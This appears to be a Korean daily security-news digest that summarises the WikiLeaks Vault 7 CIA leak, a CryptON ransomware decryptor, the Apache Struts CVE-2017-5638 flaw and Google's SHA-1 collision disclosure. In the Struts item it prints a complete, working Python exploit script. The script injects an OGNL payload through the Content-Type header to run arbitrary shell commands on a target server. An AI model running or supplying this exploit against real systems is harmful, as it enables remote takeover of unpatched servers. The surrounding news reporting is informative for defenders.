일일 보안이슈
위키리크스 CIA 유출과 관련하여 알아야 할 10가지
- CIA 의 스마트폰 해킹 기밀 노출(iOS, 안드로이드, 윈도우즈폰 을 해킹할 수 있는 방법 보유)
- CIA 의 스마트폰 악성코드는 암호화된 채팅을 복호화하는것이 아닌 우회하는 방식으로 수집(WhatsApp, Signal, Telegram, Wiebo, Confide, Cloakman 이 해당)
- CIA는 WinOS, MacOS, Linux 에서 동작하는 크로스 플랫폼 악성코드를 개발
- 다른 악성코드의 공개된 소스코드를 차용하기도
- 대상 감시를 위해 악성코드가 가미된(Malware-Laced) 정상으로 위장한 프로그램 이용(Fine Dining Attack), (VLC Player Portable, Notepad++, 7-Zip Portable 등 23여종)
- iOS기기 복호화를 위한 노력
- 애플은 Vault 7 에 언급된 취약점 대부분을 이미 패치했다고 밝혀
- CIA는 스마트 TV 등 IoT 기기들을 해킹해 감시할 수 있어
- Vault 7 유출은 지난번 Snowden 의 NSA 유출과 비교해 규모와 기술면에서 더 심각하진 않아
- 전 CIA 국장은 위키리크스 덤프가 우리를 ‘덜 안전하게’ 느끼도록 만들었다고 말해
Emsisoft, CryptON 랜섬웨어 암호 해독기 출시
[긴급] 2013년처럼 당하지 않으려면 ‘아파치 Structs’ 취약점 바로 패치해야
Apache Struts 의 Jakarta Multipart parser 에 있는 RCE 취약점 (CVE-2017-5638, POC) HTTP 헤더 중 Content-Type 에 악성 실행코드를 넣고 이를 실행할 수 있는 취약점.
POC 에 인자로 http://
를 포함한 URL 과 OS에서 실행할 명령어(예: whoami)입력으로 사용가능, Python
기사원문
기사원문
코드 전문
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
SHA-1 충돌 코드 공개까지 약 90일, 구글의 역할은?
백서나 취약점 관련 정보 공개 없이 90일 후 상세 코드 공개, 구글, “진작부터 공격해왔다” … 하지만 IT조직으로선 대응 쉽지 않아
기사원문